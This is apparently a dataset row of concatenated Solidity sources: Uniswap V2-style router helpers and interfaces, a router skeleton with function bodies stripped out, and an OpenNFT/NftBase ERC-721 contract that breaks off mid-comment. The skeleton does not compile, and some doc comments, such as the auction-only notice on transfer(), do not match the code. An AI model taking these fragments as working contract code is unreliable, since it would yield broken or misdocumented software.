(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
pragma solidity >=0.6.2;
import './IUniswapV2Router01.sol';
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.5.0;
import '../interfaces/IUniswapV2Pair.sol';
import "./SafeMath.sol";
library UniswapV2Library {
using SafeMathUniswap for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'8dff2f03d93e0516129817e4fb0af65e974901f10181dfdda5e313588947bc42' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(9975);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(10000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(10000);
uint denominator = reserveOut.sub(amountOut).mul(9975);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMathUniswap {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.5.0;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
|
bytes4(keccak256(bytes('approve(address,uint256)')));
|
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
payable
ensure(deadline)
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
ensure(deadline)
}
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountOut)
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountIn)
}
function getAmountsOut(uint amountIn, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
}
function getAmountsIn(uint amountOut, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
}
}
pragma solidity >=0.5.0;
}
pragma solidity >=0.6.0;
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
| 1,587,232
|
//SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import "./NftBase.sol";
import "../auctions/IHub.sol";
import "../registry/Registry.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract OpenNFT is NftBase, Ownable {
using SafeMath for uint256;
// -----------------------------------------------------------------------
// STATE
// -----------------------------------------------------------------------
// Storage for the registry
Registry internal registryInstance_;
// Storage for minter role
struct Minter {
bool isMinter; // Is this address a minter
bool isActive; // Is this address an active minter
bool isDuplicateBatchMinter; // Is this address able to batch mint duplicates
}
// Storage for minters
mapping(address => Minter) internal minters_;
// -----------------------------------------------------------------------
// EVENTS
// -----------------------------------------------------------------------
event MinterUpdated(
address minter,
bool isDuplicateMinter,
bool isMinter,
bool isActiveMinter,
string userIdentifier
);
event NewTokensMinted(
uint256[] tokenIDs, // ID(s) of token(s).
uint256 batchID, // ID of batch. 0 if not batch
address indexed creator, // Address of the royalties receiver
address indexed minter, // Address that minted the tokens
address indexed receiver, // Address receiving token(s)
string identifier, // Content ID within the location
string location, // Where it is stored i.e IPFS, Arweave
string contentHash // Checksum hash of the content
);
event NewTokenMinted(
// uint256 batchTokenID == 0
uint256 tokenID,
address indexed minter,
address indexed creator,
address indexed receiver
);
event NewBatchTokenMint(
// uint256 batchTokenID
uint256[] tokenIDs,
address indexed minter,
address indexed creator,
address indexed receiver
);
// -----------------------------------------------------------------------
// MODIFIERS
// -----------------------------------------------------------------------
modifier onlyMinter() {
require(
minters_[msg.sender].isMinter && minters_[msg.sender].isActive,
"Not active minter"
);
_;
}
modifier onlyBatchDuplicateMinter() {
require(
minters_[msg.sender].isDuplicateBatchMinter,
"Not active batch copy minter"
);
_;
}
modifier onlyAuctions() {
IHub auctionHubInstance_ = IHub(registryInstance_.getHub());
uint256 auctionID = auctionHubInstance_.getAuctionID(msg.sender);
require(
msg.sender == address(auctionHubInstance_) ||
auctionHubInstance_.isAuctionActive(auctionID),
"NFT: Not hub or auction"
);
_;
}
// -----------------------------------------------------------------------
// CONSTRUCTOR
// -----------------------------------------------------------------------
constructor(string memory name,
string memory symbol) NftBase(name, symbol) Ownable() {
}
// -----------------------------------------------------------------------
// NON-MODIFYING FUNCTIONS (VIEW)
// -----------------------------------------------------------------------
/**
* @param _minter Address of the minter being checked
* @return isMinter If the minter has the minter role
* @return isActiveMinter If the minter is an active minter
*/
function isMinter(address _minter)
external
view
returns (bool isMinter, bool isActiveMinter)
{
isMinter = minters_[_minter].isMinter;
isActiveMinter = minters_[_minter].isActive;
}
function isActive() external view returns (bool) {
return true;
}
function isTokenBatch(uint256 _tokenID) external view returns (uint256) {
return isBatchToken_[_tokenID];
}
function getBatchInfo(uint256 _batchID)
external
view
returns (
uint256 baseTokenID,
uint256[] memory tokenIDs,
bool limitedStock,
uint256 totalMinted
)
{
baseTokenID = batchTokens_[_batchID].baseToken;
tokenIDs = batchTokens_[_batchID].tokenIDs;
limitedStock = batchTokens_[_batchID].limitedStock;
totalMinted = batchTokens_[_batchID].totalMinted;
}
// -----------------------------------------------------------------------
// ONLY AUCTIONS (hub or spokes) STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
/**
* @param _to Address of receiver
* @param _tokenID Token to transfer
* @notice Only auctions (hub or spokes) will be able to transfer tokens.
* Will revert if to address is the 0x address. Will revert if the
* msg.sender is not the token owner. Will revert if msg.sender is
* to to address
*/
function transfer(address _to, uint256 _tokenID) external {
_transfer(_to, _tokenID);
}
/**
* @param _to Address to transfer to
* @param _tokenIDs Array of tokens being transferred
* @notice Only auctions (hub or spokes) will be able to transfer tokens.
* Will revert if to address is the 0x address. Will revert if the
* msg.sender is not the token owner. Will revert if msg.sender is
* to to address
*/
function batchTransfer(address _to, uint256[] memory _tokenIDs)
external
onlyAuctions()
{
_batchTransfer(_to, _tokenIDs);
}
/**
* @param from Address being transferee from
* @param to Address to transfer to
* @param tokenId ID of token being transferred
* @notice Only auctions (hub or spokes) will be able to transfer tokens.
* Will revert if to address is the 0x address. Will revert if
* msg.sender is not approved spender of token on _from address.
* Will revert if the _from is not the token owner. Will revert if
* _from is _to address.
*/
function transferFrom(
address from, address to, uint256 tokenId
) public override {
_transferFrom(from, to, tokenId);
}
/**
* @param _from Address being transferee from
* @param _to Address to transfer to
* @param _tokenIDs Array of tokens being transferred
* @notice Only auctions (hub or spokes) will be able to transfer tokens.
* Will revert if to address is the 0x address. Will revert if
* msg.sender is not approved spender of token on _from address.
* Will revert if the _from is not the token owner. Will revert if
* _from is _to address.
*/
function batchTransferFrom(
address _from,
address _to,
uint256[] memory _tokenIDs
) external onlyAuctions() {
_batchTransferFrom(_from, _to, _tokenIDs);
}
// -----------------------------------------------------------------------
// ONLY MINTER STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
/**
* @param _tokenCreator Address of the creator. Address will receive the
* royalties from sales of the NFT
* @param _mintTo The address that should receive the token. Note that on
* the initial sale this address will not receive the sale
* collateral. Sale collateral will be distributed to creator and
* system fees
* @notice Only valid active minters will be able to mint new tokens
*/
function mint(
address _tokenCreator,
address _mintTo,
string calldata identifier,
string calldata location,
string calldata contentHash
) external onlyMinter() returns (uint256) {
require(_isValidCreator(_tokenCreator), "NFT: Invalid creator");
// Minting token
uint256 tokenID = _mint(_mintTo, _tokenCreator, location);
// Creating temp array for token ID
uint256[] memory tempTokenIDs = new uint256[](1);
tempTokenIDs[0] = tokenID;
{
// Emitting event
emit NewTokensMinted(
tempTokenIDs,
0,
_tokenCreator,
msg.sender,
_mintTo,
identifier,
location,
contentHash
);
}
return tokenID;
}
/**
* @param _mintTo The address that should receive the token. Note that on
* the initial sale this address will not receive the sale
* collateral. Sale collateral will be distributed to creator and
* system fees
* @param _amount Amount of tokens to mint
* @param _baseTokenID ID of the token being duplicated
* @param _isLimitedStock Bool for if the batch has a pre-set limit
*/
function batchDuplicateMint(
address _mintTo,
uint256 _amount,
uint256 _baseTokenID,
bool _isLimitedStock
) external onlyBatchDuplicateMinter() returns (uint256[] memory) {
require(
tokens_[_baseTokenID].creator != address(0),
"Mint token before batch"
);
uint256 originalBatchID = isBatchToken_[_baseTokenID];
uint256 batch;
// Minting tokens
uint256[] memory tokenIDs;
(tokenIDs, batch) = _batchMint(
_mintTo,
tokens_[_baseTokenID].creator,
_amount,
_baseTokenID,
originalBatchID
);
// If this is the first batch mint of the base token
if (originalBatchID == 0) {
// Storing batch against base token
isBatchToken_[_baseTokenID] = batch;
// Storing all info as a new object
batchTokens_[batch] = BatchTokens(
_baseTokenID,
tokenIDs,
_isLimitedStock,
_amount
);
} else {
batch = isBatchToken_[_baseTokenID];
batchTokens_[batch].totalMinted += _amount;
}
// Wrapping for the stack
{
// Emitting event
emit NewTokensMinted(
tokenIDs,
batch,
tokens_[_baseTokenID].creator,
msg.sender,
_mintTo,
"",
"",
""
);
}
return tokenIDs;
}
// -----------------------------------------------------------------------
// ONLY OWNER STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
/**
* @param _minter Address of the minter
* @param _hasMinterPermissions If the address has minter permissions. If
* false user will not be able to mint, nor will they be able to be
* set as the creator of a token
* @param _isActiveMinter If the minter is an active minter. If they do
* not have minter permissions they will not be able to be assigned
* as the creator of a token
*/
function updateMinter(
address _minter,
bool _hasMinterPermissions,
bool _isActiveMinter,
string calldata _userIdentifier
) external onlyOwner() {
minters_[_minter].isMinter = _hasMinterPermissions;
minters_[_minter].isActive = _isActiveMinter;
emit MinterUpdated(
_minter,
false,
_hasMinterPermissions,
_isActiveMinter,
_userIdentifier
);
}
function setDuplicateMinter(address _minter, bool _isDuplicateMinter)
external
onlyOwner()
{
minters_[_minter].isDuplicateBatchMinter = _isDuplicateMinter;
minters_[_minter].isMinter = _isDuplicateMinter;
minters_[_minter].isActive = _isDuplicateMinter;
emit MinterUpdated(
_minter,
_isDuplicateMinter,
_isDuplicateMinter,
_isDuplicateMinter,
"Auction"
);
}
function setRegistry(address _registry) external onlyOwner() {
require(_registry != address(0), "NFT: cannot set REG to 0x");
require(
address(registryInstance_) != _registry,
"NFT: Cannot set REG to existing"
);
registryInstance_ = Registry(_registry);
require(registryInstance_.isActive(), "NFT: REG instance invalid");
}
fallback() external payable {
revert();
}
// -----------------------------------------------------------------------
// INTERNAL STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
/**
* @param _creator Address to check
* @return bool If the address to check is a valid creator
* @notice Will return true if the user is a minter, or is an active minter
*/
function _isValidCreator(address _creator) internal view returns (bool) {
if (minters_[_creator].isMinter) {
return true;
} else if (minters_[_creator].isMinter && minters_[_creator].isActive) {
return true;
}
return false;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/introspection/ERC165.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Metadata.sol";
contract NftBase is ERC165, IERC721,IERC721Metadata {
// Libraries
using SafeMath for uint256;
// -----------------------------------------------------------------------
// STATE
// -----------------------------------------------------------------------
// Counter for minted tokens
uint256 private totalMinted_;
// Accurate count of circulating supply (decremented on burns)
uint256 private circulatingSupply_;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
struct TokenInfo{
address creator;
address currentOwner;
string uri;
}
string _name;
string _symbol;
// token ID => Owner
mapping(uint256 => TokenInfo) internal tokens_;
// Owner => Token IDs => is owner
mapping(address => mapping(uint256 => bool)) internal owners_;
// Owner => tokens owned counter
mapping(address => uint256) internal ownerBalances_;
// Approvals for token spending | owner => spender => token ID => approved
mapping(address => mapping(address => mapping (uint256 => bool))) internal approvals_;
// Counter for batch mints
uint256 internal batchMintCounter_;
// Storage for batch minted tokens (where they are duplicates)
struct BatchTokens {
uint256 baseToken;
uint256[] tokenIDs;
bool limitedStock;
uint256 totalMinted;
}
// Storage of Batch IDs to their batch tokens
mapping(uint256 => BatchTokens) internal batchTokens_;
// Token ID => their batch number. 0 if they are not batch tokens
mapping(uint256 => uint256) internal isBatchToken_;
// -----------------------------------------------------------------------
// EVENTS
// -----------------------------------------------------------------------
event ApprovalSet(
address owner,
address spender,
uint256 tokenID,
bool approval
);
event BatchTransfer(
address from,
address to,
uint256[] tokenIDs
);
// -----------------------------------------------------------------------
// CONSTRUCTOR
// -----------------------------------------------------------------------
constructor(string memory name,
string memory symbol) {
_name = name;
_symbol = symbol;
}
// -----------------------------------------------------------------------
// NON-MODIFYING FUNCTIONS (VIEW)
// -----------------------------------------------------------------------
/**
* @param _tokenID The ID of the token
* @return address of the owner for this token
*/
function ownerOf(uint256 _tokenID) public override view returns(address) {
return tokens_[_tokenID].currentOwner;
}
/**
* @param _tokenID The ID of the token
* @return address of the creator of the token
*/
function creatorOf(uint256 _tokenID) external view returns(address) {
return tokens_[_tokenID].creator;
}
/**
* @param _owner The address of the address to check
* @return uint256 The number of tokens the user owns
*/
function balanceOf(address _owner) public override view returns(uint256) {
return ownerBalances_[_owner];
}
/**
* @return uint256 The total number of circulating tokens
*/
function totalSupply() public view returns(uint256) {
return circulatingSupply_;
}
/**
* @return uint256 The total number of unique tokens minted
*/
function totalMintedTokens() external view returns(uint256) {
return totalMinted_;
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @param _owner Address of the owner
* @param _spender The address of the spender
* @param _tokenID ID of the token to check
* @return bool The approved status of the spender against the owner
*/
function isApprovedSpenderOf(
address _owner,
address _spender,
uint256 _tokenID
)
external
view
returns(bool)
{
return approvals_[_owner][_spender][_tokenID];
}
/**
* @param _tokenId ID of the token to get the URI of
* @return string the token URI
*/
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
return tokens_[_tokenId].uri;
}
// -----------------------------------------------------------------------
// PUBLIC STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
/**
* @param _spender The address of the spender
* @param _tokenID ID of the token to check
* @param _approvalSpender The status of the spenders approval on the
* owner
* @notice Will revert if msg.sender is the spender or if the msg.sender
* is not the owner of the token.
*/
function approveSpender(
address _spender,
uint256 _tokenID,
bool _approvalSpender
)
external
{
require(
msg.sender != _spender,
"NFT: cannot approve self"
);
require(
tokens_[_tokenID].currentOwner == msg.sender,
"NFT: Only owner can approve"
);
// Set approval status
approvals_[msg.sender][_spender][_tokenID] = _approvalSpender;
emit ApprovalSet(
msg.sender,
_spender,
_tokenID,
_approvalSpender
);
}
// -----------------------------------------------------------------------
// ERC721 Functions
// -----------------------------------------------------------------------
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function transferFrom(address from, address to, uint256 tokenId) virtual external override {
_transferFrom(from, to, tokenId);
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
msg.sender == owner || isApprovedForAll(owner, msg.sender),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
emit Approval(owner, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function safeTransferFrom(address from, address to, uint256 tokenId) virtual external override{
_transferFrom(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) virtual external override{
_transferFrom(from, to, tokenId);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool _approved) virtual external override{
require(operator != msg.sender, "ERC721: approve to caller");
_operatorApprovals[msg.sender][operator] = _approved;
emit ApprovalForAll(msg.sender, operator, _approved);
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
// -----------------------------------------------------------------------
// INTERNAL STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
/**
* @param _oldOwner Address of the old owner losing the token
* @param _newOwner Address of the new owner gaining the token
* @param _tokenID ID of the token getting transferred
*/
function _changeOwner(
address _oldOwner,
address _newOwner,
uint256 _tokenID
)
internal
{
// Changing the tokens owner to the new owner
tokens_[_tokenID].currentOwner = _newOwner;
// Removing the token from the old owner
owners_[_oldOwner][_tokenID] = false;
// Reducing the old owners token count
ownerBalances_[_oldOwner] = ownerBalances_[_oldOwner].sub(1);
// Adding the token to the new owner
owners_[_newOwner][_tokenID] = true;
// Increasing the new owners token count
ownerBalances_[_newOwner] = ownerBalances_[_newOwner].add(1);
}
/**
* @param _to Address to transfer to
* @param _tokenID Token being transferred
* @notice Will revert if to address is the 0x address. Will revert if the
* msg.sender is not the token owner. Will revert if msg.sender is
* to to address
*/
function _transfer(
address _to,
uint256 _tokenID
)
internal
{
require(_to != address(0), "NFT: Cannot send to zero address");
require(
tokens_[_tokenID].currentOwner == msg.sender,
"NFT: Only owner can transfer"
);
require(
_to != msg.sender,
"NFT: Cannot transfer to self"
);
// Updating storage to reflect transfer
_changeOwner(
msg.sender,
_to,
_tokenID
);
emit Transfer(
msg.sender,
_to,
_tokenID
);
}
/**
* @param _to Address to transfer to
* @param _tokenIDs Array of tokens being transferred
* @notice Will revert if to address is the 0x address. Will revert if the
* msg.sender is not the token owner. Will revert if msg.sender is
* to to address
*/
function _batchTransfer(
address _to,
uint256[] memory _tokenIDs
)
internal
{
require(_to != address(0), "NFT: Cannot send to zero address");
require(
_to != msg.sender,
"NFT: Cannot transfer to self"
);
for (uint256 i = 0; i < _tokenIDs.length; i++) {
require(
tokens_[_tokenIDs[i]].currentOwner == msg.sender,
"NFT: Only owner can transfer"
);
// Updating storage to reflect transfer
_changeOwner(
msg.sender,
_to,
_tokenIDs[i]
);
}
emit BatchTransfer(
msg.sender,
_to,
_tokenIDs
);
}
/**
* @param _from Address being transferee from
* @param _to Address to transfer to
* @param _tokenID ID of token being transferred
* @notice Will revert if to address is the 0x address. Will revert if
* msg.sender is not approved spender of token on _from address.
* Will revert if the _from is not the token owner. Will revert if
* _from is _to address.
*/
function _transferFrom(
address _from,
address _to,
uint256 _tokenID
)
internal
{
require(_to != address(0), "NFT: Cannot send to zero address");
require(
approvals_[_from][msg.sender][_tokenID],
"NFT: Caller not approved"
);
require(
tokens_[_tokenID].currentOwner == _from,
"NFT: From is not token owner"
);
require(
_to != _from,
"NFT: Cannot transfer to self"
);
// Removing spender as approved spender of token on owner
approvals_[_from][msg.sender][_tokenID] = false;
// Updating storage to reflect transfer
_changeOwner(
_from,
_to,
_tokenID
);
emit Transfer(
_from,
_to,
_tokenID
);
}
/**
* @param _from Address being transferee from
* @param _to Address to transfer to
* @param _tokenIDs Array of tokens being transferred
* @notice Will revert if to address is the 0x address. Will revert if
* msg.sender is not approved spender of token on _from address.
* Will revert if the _from is not the token owner. Will revert if
* _from is _to address.
*/
function _batchTransferFrom(
address _from,
address _to,
uint256[] memory _tokenIDs
)
internal
{
require(_to != address(0), "NFT: Cannot send to zero address");
require(
_to != _from,
"NFT: Cannot transfer to self"
);
for (uint256 i = 0; i < _tokenIDs.length; i++) {
require(
approvals_[_from][msg.sender][_tokenIDs[i]],
"NFT: Caller not approved"
);
// Removing spender as approved spender of token on owner
approvals_[_from][msg.sender][_tokenIDs[i]] = false;
require(
tokens_[_tokenIDs[i]].currentOwner == _from,
"NFT: From is not token owner"
);
// Updating storage to reflect transfer
_changeOwner(
_from,
_to,
_tokenIDs[i]
);
}
emit BatchTransfer(
_from,
_to,
_tokenIDs
);
}
/**
* @param _owner Address of the owner of the newly created token
